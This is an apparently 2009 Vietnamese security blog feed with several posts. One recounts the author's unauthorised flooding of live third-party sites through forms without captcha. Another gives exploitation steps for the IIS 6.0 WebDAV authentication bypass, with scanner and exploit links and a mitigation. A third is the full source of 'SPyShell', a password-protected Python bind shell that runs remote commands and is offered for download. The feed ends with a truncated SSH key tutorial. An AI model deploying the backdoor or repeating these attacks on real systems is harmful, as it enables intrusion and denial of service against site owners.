This weblog is sponsored by <a href="http://www.guru.net.vn">Guru's Blog</a>. 
<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/phamduchai/~4/_-6BnwtROuQ" height="1" width="1" /></body>
      <title>Flood file, text ... vấn đề nguy hiểm chưa được quan tâm</title>
      <guid isPermaLink="false">PermaLink,guid,ab4e0786-7e42-418b-9a97-6155a321047b.aspx</guid>
      <link>http://feedproxy.google.com/~r/phamduchai/~3/_-6BnwtROuQ/PermaLink,guid,ab4e0786-7e42-418b-9a97-6155a321047b.aspx</link>
      <pubDate>Tue, 09 Jun 2009 14:50:17 GMT</pubDate>
      <description>Thông thường một form dữ liệu POST sẽ được bảo vệ bằng ảnh nhận dạng captcha. Nhưng form không có captcha thì dễ dàng flood (làm lụt) database của website một cách dễ dàng. Phần lớn website không để ý và quan tâm đến vấn đề này. Đây có thể là một điểm có thể DOS website, tăng xử lý IO của website, làm đầy dữ liệu database và ổ cứng --&amp;gt; một cách hạ gục site khá dễ dàng.&lt;br&gt;
Hầu như bất kỳ site nào cũng có thể tìm thấy điểm khai thác này.&lt;br&gt;
Tôi ví dụ một vài ví dụ đơn giản như : &lt;a href="http://blog.nit.vn/"&gt;http://blog.nit.vn/&lt;/a&gt; trang
này sau khi tôi thử bằng 1 máy PC trong vòng 30 phút thì hosting hết dung lượng vì
upload file và insert vào database gần 500.000 bản ghi mới --&amp;gt; site sau đó phải
nâng cấp ngay ngày hôm sau (tiếc là ko chụp lại mấy hình demo)&lt;br&gt;
&lt;br&gt;
Rất may là trong cái nóng lực mấy hôm nay, ngồi không biết làm gì thì thử site &lt;a href="http://1280.com"&gt;1280.com&lt;/a&gt; (với
tham vọng ra đúng thời cơ blog 360 yahoo đóng cửa để hút thành viên :D)&lt;br&gt;
Nói thực là các site mạng xã hội VN tôi chưa thấy trang nào có một kiến trúc nền tảng
tốt (trừ 1 trang sắp ra :D)&lt;br&gt;
Lỗi rất sơ đẳng như trên nếu để DOS attack thực sự thì trang này đi ngay lập tức.&lt;br&gt;
Đây chỉ là những hình ảnh demo cho thấy để dàng có thể flood trang này.&lt;br&gt;
&lt;br&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;img src="http://www.guru.net.vn/content/binary/1280.com_1.png" border="0"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;img src="http://www.guru.net.vn/content/binary/1280.com_2.png" border="0"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;img src="http://www.guru.net.vn/content/binary/1280.com_3.png" border="0"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;img src="http://www.guru.net.vn/content/binary/1280.com_4.png" border="0"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
Ví dụ một đoạn code exploit đơn giản thêm 1000 bài viết có chèn ảnh con chuột như
ở trên.&lt;br&gt;
&lt;br&gt;
&lt;img src="http://www.guru.net.vn/content/binary/1280_code_exploit.png" border="0"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
Post một tí tẹo là dc 1000 bài :D&lt;br&gt;
&lt;img src="http://www.guru.net.vn/content/binary/1280.com_5.png" border="0"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
Hy vọng các bạn để ý đến vấn đề này hơn :)&lt;br&gt;
&lt;img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=ab4e0786-7e42-418b-9a97-6155a321047b" /&gt;
&lt;br /&gt;
&lt;hr /&gt;
This weblog is sponsored by &lt;a href="http://www.guru.net.vn"&gt;Guru's Blog&lt;/a&gt;. </description>
      <comments>CommentView,guid,ab4e0786-7e42-418b-9a97-6155a321047b.aspx</comments>
      <category>Bảo mật</category>
      <category>Hack</category>
    <feedburner:origLink>http://www.guru.net.vn/PermaLink,guid,ab4e0786-7e42-418b-9a97-6155a321047b.aspx</feedburner:origLink></item>
    <item>
      <trackback:ping>http://www.guru.net.vn/Trackback.aspx?guid=c44d9bc7-90c3-485f-943d-29eeb34e0ad2</trackback:ping>
      <pingback:server>http://www.guru.net.vn/pingback.aspx</pingback:server>
      <pingback:target>PermaLink,guid,c44d9bc7-90c3-485f-943d-29eeb34e0ad2.aspx</pingback:target>
      <dc:creator>Phạm Đức Hải</dc:creator>
      <wfw:comment>CommentView,guid,c44d9bc7-90c3-485f-943d-29eeb34e0ad2.aspx</wfw:comment>
      <wfw:commentRss>http://www.guru.net.vn/SyndicationService.asmx/GetEntryCommentsRss?guid=c44d9bc7-90c3-485f-943d-29eeb34e0ad2</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">Web-based Distributed Authoring and Versioning
(hay WebDAV) là thành phần mở rộng của IIS cho phép người sử dụng có thể quản lý file
(xóa, chỉnh sửa, …) trên máy chủ web. Lỗ hổng này xảy ra trong quá trình xử lý ký
tự unicode %c0%af (Unicode / character).<br />
Cho phép kẻ tấn công có thể vượt qua cơ chế bảo vệ để liệt kê thư mục, file; đọc file,
tạo file,...<br /><br />
Lỗ hổng này mới được phát hiện và chưa có bản vá. Theo nghiên cứu của chúng tôi lỗ
hổng này thuộc loại nguy hiểm.<br />
Tại Việt Nam đã có nhưng site bị tấn công đầu tiên như <a href="http://anhso.net">anhso.net</a> (23/05)
(có video demo).<br />
Chúng tôi cũng phát hiện nhiều server quan trọng của các bộ ngành, doanh nghiệp, các
cơ quan ... bị lỗ hổng này.<br /><br />
Tôi xin tóm tắt lộ trình lỗ hổng này như sau :<br />
Lỗ hổng này được phát hiện ngày 12-05-2009 bởi Kingcope<br />
Ngày 15-04-2009 được đưa lên <a href="http://Milw0rm.com">Milw0rm.com</a> : <a href="http://milw0rm.com/exploits/8704">http://milw0rm.com/exploits/8704</a><br />
Ngày 18-05-2009 : <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1676">CVE</a> đưa
ra cảnh báo, <a href="http://www.microsoft.com/technet/security/advisory/971492.mspx">Microsoft</a> cũng
chính thức đưa ra cảnh báo lỗi này.<br />
Ngày 20-05-2009 : có hướng dẫn cách khai thác đầu tiên <a href="http://www.skullsecurity.org/blog/?p=285">http://www.skullsecurity.org/blog/?p=285</a><br />
Ngày 21/22-05-2009 : có 2 exploit trên milw0rm : <a href="http://milw0rm.com/exploits/8754">exploit
bằng cadaver pathed</a> (1 client của WebDAV chạy trên linux), <a href="http://milw0rm.com/exploits/8765">exploit
bằng php</a><br /><br /><b>Exploit it!</b><br /><br />
Các bước tấn công được mô tả kỹ trong tài liệu <a href="http://www.skullsecurity.org/blog/?p=285">WebDAV
Detection, Vulnerability Checking and Exploitation</a> gồm 3 bước chính:<br />
- Phát hiện server chạy WebDAV<br />
Dùng nmap để quét hoặc một số chương trình quét bảo mật như Acunetix (windows)...<br />
Lưu ý :phiên bản tối thiểu là 4.85 và có cài thêm script <a href="http://nmap.org/nsedoc/scripts/http-iis-webdav-vuln.html">http-iis-webdav-vuln</a><a href="http://www.skullsecurity.org/blog/?p=271">hướng
dẫn dùng nmap để quét</a> (làm theo đúng tài liệu này)<br />
- Phát hiện server bị lỗi : xử dụng nmap<br />
- Khai thác (exploit)<br />
Dùng cadaver hoặc exploit php ở trên<br /><br />
Hình ảnh scan bằng nmap<br /><img src="http://www.guru.net.vn/content/binary/scan_webdav_vul_with_nmap.png" border="0" /><br />
Hình ảnh minh họa list file và đọc file với lỗ hổng webdav dùng client cadaver<br /><img src="http://www.guru.net.vn/content/binary/test_vul_webdav_with_cadaver.png" border="0" /><br /><br /><br /><b>Khắc phục</b><br /><br />
Hiện tại chưa có bản vá nên cần tắt webdav đi.<br />
vào IIS --&gt; Local Computer --&gt;Web Service Extension --&gt; tắt WebDav<br /><br />
Hoặc:<br /><br />
Start &gt; Run &gt; regedit<br />
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameter.<br />
DisableWebDAV --&gt; 1<br /><p /><img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=c44d9bc7-90c3-485f-943d-29eeb34e0ad2" /><br /><hr />
This weblog is sponsored by <a href="http://www.guru.net.vn">Guru's Blog</a>. 
<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/phamduchai/~4/3CqA5mhyl-Q" height="1" width="1" /></body>
      <title>Microsoft IIS 6.0 WebDAV Remote Authentication Bypass</title>
      <guid isPermaLink="false">PermaLink,guid,c44d9bc7-90c3-485f-943d-29eeb34e0ad2.aspx</guid>
      <link>http://feedproxy.google.com/~r/phamduchai/~3/3CqA5mhyl-Q/PermaLink,guid,c44d9bc7-90c3-485f-943d-29eeb34e0ad2.aspx</link>
      <pubDate>Sun, 24 May 2009 15:19:20 GMT</pubDate>
      <description>Web-based Distributed Authoring and Versioning (hay WebDAV) là thành phần mở rộng của IIS cho phép người sử dụng có thể quản lý file (xóa, chỉnh sửa, …) trên máy chủ web. Lỗ hổng này xảy ra trong quá trình xử lý ký tự unicode %c0%af (Unicode / character).&lt;br&gt;
Cho phép kẻ tấn công có thể vượt qua cơ chế bảo vệ để liệt kê thư mục, file; đọc file,
tạo file,...&lt;br&gt;
&lt;br&gt;
Lỗ hổng này mới được phát hiện và chưa có bản vá. Theo nghiên cứu của chúng tôi lỗ
hổng này thuộc loại nguy hiểm.&lt;br&gt;
Tại Việt Nam đã có nhưng site bị tấn công đầu tiên như &lt;a href="http://anhso.net"&gt;anhso.net&lt;/a&gt; (23/05)
(có video demo).&lt;br&gt;
Chúng tôi cũng phát hiện nhiều server quan trọng của các bộ ngành, doanh nghiệp, các
cơ quan ... bị lỗ hổng này.&lt;br&gt;
&lt;br&gt;
Tôi xin tóm tắt lộ trình lỗ hổng này như sau :&lt;br&gt;
Lỗ hổng này được phát hiện ngày 12-05-2009 bởi Kingcope&lt;br&gt;
Ngày 15-04-2009 được đưa lên &lt;a href="http://Milw0rm.com"&gt;Milw0rm.com&lt;/a&gt; : &lt;a href="http://milw0rm.com/exploits/8704"&gt;http://milw0rm.com/exploits/8704&lt;/a&gt;
&lt;br&gt;
Ngày 18-05-2009 : &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1676"&gt;CVE&lt;/a&gt; đưa
ra cảnh báo, &lt;a href="http://www.microsoft.com/technet/security/advisory/971492.mspx"&gt;Microsoft&lt;/a&gt; cũng
chính thức đưa ra cảnh báo lỗi này.&lt;br&gt;
Ngày 20-05-2009 : có hướng dẫn cách khai thác đầu tiên &lt;a href="http://www.skullsecurity.org/blog/?p=285"&gt;http://www.skullsecurity.org/blog/?p=285&lt;/a&gt;
&lt;br&gt;
Ngày 21/22-05-2009 : có 2 exploit trên milw0rm : &lt;a href="http://milw0rm.com/exploits/8754"&gt;exploit
bằng cadaver pathed&lt;/a&gt; (1 client của WebDAV chạy trên linux), &lt;a href="http://milw0rm.com/exploits/8765"&gt;exploit
bằng php&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
&lt;b&gt;Exploit it!&lt;/b&gt;
&lt;br&gt;
&lt;br&gt;
Các bước tấn công được mô tả kỹ trong tài liệu &lt;a href="http://www.skullsecurity.org/blog/?p=285"&gt;WebDAV
Detection, Vulnerability Checking and Exploitation&lt;/a&gt; gồm 3 bước chính:&lt;br&gt;
- Phát hiện server chạy WebDAV&lt;br&gt;
Dùng nmap để quét hoặc một số chương trình quét bảo mật như Acunetix (windows)...&lt;br&gt;
Lưu ý :phiên bản tối thiểu là 4.85 và có cài thêm script &lt;a href="http://nmap.org/nsedoc/scripts/http-iis-webdav-vuln.html"&gt;http-iis-webdav-vuln&lt;/a&gt; &lt;a href="http://www.skullsecurity.org/blog/?p=271"&gt;hướng
dẫn dùng nmap để quét&lt;/a&gt; (làm theo đúng tài liệu này)&lt;br&gt;
- Phát hiện server bị lỗi : xử dụng nmap&lt;br&gt;
- Khai thác (exploit)&lt;br&gt;
Dùng cadaver hoặc exploit php ở trên&lt;br&gt;
&lt;br&gt;
Hình ảnh scan bằng nmap&lt;br&gt;
&lt;img src="http://www.guru.net.vn/content/binary/scan_webdav_vul_with_nmap.png" border="0"&gt;
&lt;br&gt;
Hình ảnh minh họa list file và đọc file với lỗ hổng webdav dùng client cadaver&lt;br&gt;
&lt;img src="http://www.guru.net.vn/content/binary/test_vul_webdav_with_cadaver.png" border="0"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;b&gt;Khắc phục&lt;/b&gt;
&lt;br&gt;
&lt;br&gt;
Hiện tại chưa có bản vá nên cần tắt webdav đi.&lt;br&gt;
vào IIS --&amp;gt; Local Computer --&amp;gt;Web Service Extension --&amp;gt; tắt WebDav&lt;br&gt;
&lt;br&gt;
Hoặc:&lt;br&gt;
&lt;br&gt;
Start &amp;gt; Run &amp;gt; regedit&lt;br&gt;
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameter.&lt;br&gt;
DisableWebDAV --&amp;gt; 1&lt;br&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=c44d9bc7-90c3-485f-943d-29eeb34e0ad2" /&gt;
&lt;br /&gt;
&lt;hr /&gt;
This weblog is sponsored by &lt;a href="http://www.guru.net.vn"&gt;Guru's Blog&lt;/a&gt;. </description>
      <comments>CommentView,guid,c44d9bc7-90c3-485f-943d-29eeb34e0ad2.aspx</comments>
      <category>Bảo mật</category>
      <category>Hack</category>
      <category>Linux</category>
    <feedburner:origLink>http://www.guru.net.vn/PermaLink,guid,c44d9bc7-90c3-485f-943d-29eeb34e0ad2.aspx</feedburner:origLink></item>
    <item>
      <trackback:ping>http://www.guru.net.vn/Trackback.aspx?guid=dbbe95f2-64db-469d-86d8-8bfd600aaad8</trackback:ping>
      <pingback:server>http://www.guru.net.vn/pingback.aspx</pingback:server>
      <pingback:target>PermaLink,guid,dbbe95f2-64db-469d-86d8-8bfd600aaad8.aspx</pingback:target>
      <dc:creator>Phạm Đức Hải</dc:creator>
      <wfw:comment>CommentView,guid,dbbe95f2-64db-469d-86d8-8bfd600aaad8.aspx</wfw:comment>
      <wfw:commentRss>http://www.guru.net.vn/SyndicationService.asmx/GetEntryCommentsRss?guid=dbbe95f2-64db-469d-86d8-8bfd600aaad8</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">This is a Simple Python remote command
(Simple python shell - SPyShell) with password protected :)<br /><p><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">#!/usr/bin/env
python<br />
# Simple python shell by Pham Duc Hai (duchaikhtn@gmail.com)<br />
# http:<span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">//guru.net.vn</span><br />
import socket<br />
import os<br />
import commands<br /><br />
host <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> ''<br />
port <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> 2009<br />
password <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> 'secretcode'<br /><br />
s <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> socket.socket(socket.AF_INET,
socket.SOCK_STREAM)<br />
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)<br />
s.bind((host, port))<br />
s.listen(1)<br /><br />
print <span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"Server
is running on port %d; press Ctrl-C to terminate."</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">%</span> port<br /><br />
clientsock, clientaddr <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> s.accept()<br />
clientfile <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> clientsock.makefile('rw',
0)<br />
clientfile.write(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"SPyShell
by Pham Duc Hai\n"</span>)<br />
clientfile.write(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"Welcome,
"</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span> str(clientaddr) <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span><span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"\n"</span>)<br /><br /><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">while</span> 1:<br /></span></p><blockquote><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> clientfile.write(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"Please
enter password: "</span>)</span><br /><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> line <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> clientfile.readline().strip()</span><br /><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">if</span> line
== password:</span><br /><blockquote><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> clientfile.write('\n\r#
')</span><br /><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">while</span> 1:</span><br /><blockquote><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> line <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> clientfile.readline().strip()</span><br /><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">if</span> line
== <span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"exit"</span>:</span><br /><blockquote><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> clientfile.close()</span><br /><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> clientsock.close()</span><br /><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> output <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> commands.getstatusoutput(line) </span><br /></blockquote><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">for</span> i <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">in</span> output:</span><br /><blockquote><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> clientfile.write(i)</span><br /><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> clientfile.write('\n\r#
')</span><br /></blockquote></blockquote></blockquote><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">else</span>:</span><br /><span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"> clientfile.write('Wrong
password!\n\r')</span></blockquote><br />
Download :<p /><a href="http://www.guru.net.vn/content/binary/SpyShell.txt">SpyShell.txt (1,11 KB)</a><br /><br /><a href="http://www.guru.net.vn/content/binary/SpyShell.zip">SpyShell.zip (,65 KB)</a><img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=dbbe95f2-64db-469d-86d8-8bfd600aaad8" /><br /><hr />
This weblog is sponsored by <a href="http://www.guru.net.vn">Guru's Blog</a>. 
<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/phamduchai/~4/78ogtgXUqqs" height="1" width="1" /></body>
      <title>Simple Python remote command</title>
      <guid isPermaLink="false">PermaLink,guid,dbbe95f2-64db-469d-86d8-8bfd600aaad8.aspx</guid>
      <link>http://feedproxy.google.com/~r/phamduchai/~3/78ogtgXUqqs/PermaLink,guid,dbbe95f2-64db-469d-86d8-8bfd600aaad8.aspx</link>
      <pubDate>Sat, 02 May 2009 09:19:55 GMT</pubDate>
      <description>This is a Simple Python remote command (Simple python shell - SPyShell) with password protected :)&lt;br&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;#!/usr/bin/env
python&lt;br&gt;
# Simple python shell by Pham Duc Hai (duchaikhtn@gmail.com)&lt;br&gt;
# http:&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;//guru.net.vn&lt;/span&gt;
&lt;br&gt;
import socket&lt;br&gt;
import os&lt;br&gt;
import commands&lt;br&gt;
&lt;br&gt;
host &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; ''&lt;br&gt;
port &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; 2009&lt;br&gt;
password &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; 'secretcode'&lt;br&gt;
&lt;br&gt;
s &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; socket.socket(socket.AF_INET,
socket.SOCK_STREAM)&lt;br&gt;
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br&gt;
s.bind((host, port))&lt;br&gt;
s.listen(1)&lt;br&gt;
&lt;br&gt;
print &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"Server
is running on port %d; press Ctrl-C to terminate."&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;%&lt;/span&gt; port&lt;br&gt;
&lt;br&gt;
clientsock, clientaddr &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; s.accept()&lt;br&gt;
clientfile &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; clientsock.makefile('rw',
0)&lt;br&gt;
clientfile.write(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"SPyShell
by Pham Duc Hai\n"&lt;/span&gt;)&lt;br&gt;
clientfile.write(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"Welcome,
"&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; str(clientaddr) &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"\n"&lt;/span&gt;)&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;while&lt;/span&gt; 1:&lt;br&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;blockquote&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; clientfile.write(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"Please
enter password: "&lt;/span&gt;)&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; line &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; clientfile.readline().strip()&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;if&lt;/span&gt; line
== password:&lt;/span&gt;
&lt;br&gt;
&lt;blockquote&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; clientfile.write('\n\r#
')&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;while&lt;/span&gt; 1:&lt;/span&gt;
&lt;br&gt;
&lt;blockquote&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; line &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; clientfile.readline().strip()&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;if&lt;/span&gt; line
== &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"exit"&lt;/span&gt;:&lt;/span&gt;
&lt;br&gt;
&lt;blockquote&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; clientfile.close()&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; clientsock.close()&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; output &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; commands.getstatusoutput(line) &lt;/span&gt;
&lt;br&gt;
&lt;/blockquote&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;for&lt;/span&gt; i &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;in&lt;/span&gt; output:&lt;/span&gt;
&lt;br&gt;
&lt;blockquote&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; clientfile.write(i)&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; clientfile.write('\n\r#
')&lt;/span&gt;
&lt;br&gt;
&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;else&lt;/span&gt;:&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; clientfile.write('Wrong
password!\n\r')&lt;/span&gt;&lt;/blockquote&gt;
&lt;br&gt;
Download :&lt;p&gt;
&lt;/p&gt;
&lt;a href="http://www.guru.net.vn/content/binary/SpyShell.txt"&gt;SpyShell.txt (1,11 KB)&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
&lt;a href="http://www.guru.net.vn/content/binary/SpyShell.zip"&gt;SpyShell.zip (,65 KB)&lt;/a&gt;&lt;img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=dbbe95f2-64db-469d-86d8-8bfd600aaad8" /&gt;
&lt;br /&gt;
&lt;hr /&gt;
This weblog is sponsored by &lt;a href="http://www.guru.net.vn"&gt;Guru's Blog&lt;/a&gt;. </description>
      <comments>CommentView,guid,dbbe95f2-64db-469d-86d8-8bfd600aaad8.aspx</comments>
      <category>Hack</category>
      <category>python</category>
    <feedburner:origLink>http://www.guru.net.vn/PermaLink,guid,dbbe95f2-64db-469d-86d8-8bfd600aaad8.aspx</feedburner:origLink></item>
    <item>
      <trackback:ping>http://www.guru.net.vn/Trackback.aspx?guid=dc3ba880-0fd4-4699-b6a5-fb45ab2e40f1</trackback:ping>
      <pingback:server>http://www.guru.net.vn/pingback.aspx</pingback:server>
      <pingback:target>PermaLink,guid,dc3ba880-0fd4-4699-b6a5-fb45ab2e40f1.aspx</pingback:target>
      <dc:creator>Phạm Đức Hải</dc:creator>
      <wfw:comment>CommentView,guid,dc3ba880-0fd4-4699-b6a5-fb45ab2e40f1.aspx</wfw:comment>
      <wfw:commentRss>http://www.guru.net.vn/SyndicationService.asmx/GetEntryCommentsRss?guid=dc3ba880-0fd4-4699-b6a5-fb45ab2e40f1</wfw:commentRss>
      <slash:comments>1</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml"> <b>Bảo mật SSH với chứng thực khóa
công khai / khóa riêng (Secure SSH with Public/Private key authentification)</b><br /><br />
SSH là một công cụ tuyệt vời, không một quản trị hệ thống nào có thể bỏ qua. Sử dụng
SSH bạn có thể kết nối tới máy chủ và làm tất cả mọi việc với no.<br />
Bài viết này tôi tập trung vào việc giới thiệu : làm sao tạo và sử dụng Public/Private
key trong truy cập qua giao thức SSH.<br />
Đây là kỹ thuật khá cơ bản nhưng tỏ ra cực kỳ hiệu quả, mang lại sự an toàn cao đối
với hệ thống của bạn.<br />
Sử dụng Public/Private key authentification bạn có thể tránh được:<br />
- tấn công dò mật khẩu (bruce password scan)<br />
- bảo vệ mật khẩu root<br /><br />
Trong các bản phân phối hiện nay hầu hết đều được tích hợp sẵn <a href="http://www.openssh.com/">OpenSSH</a>.
Phiên bản SSH hiện nay là SSH2. SSH2 khác nhiều so với SSH1 và an toàn hơn. 
<br /><br /><b>1. Sinh khóa công khai và khóa riêng (Generating a Public/Private Key Pair)</b><br />
Việc sinh khóa này bạn có thể thực hiện trên máy cá nhân hoặc thực hiện trên máy server.
Có thể dùng công cụ hay dùng chính công cụ sinh khóa của ssh. Điều quan trọng nhất
là : <b>bạn phải giữ bí mật khóa riêng của bạn</b>. (vì sao thì bạn có thể tìm hiểu
lý thuyết vầ khóa công khai)<br />
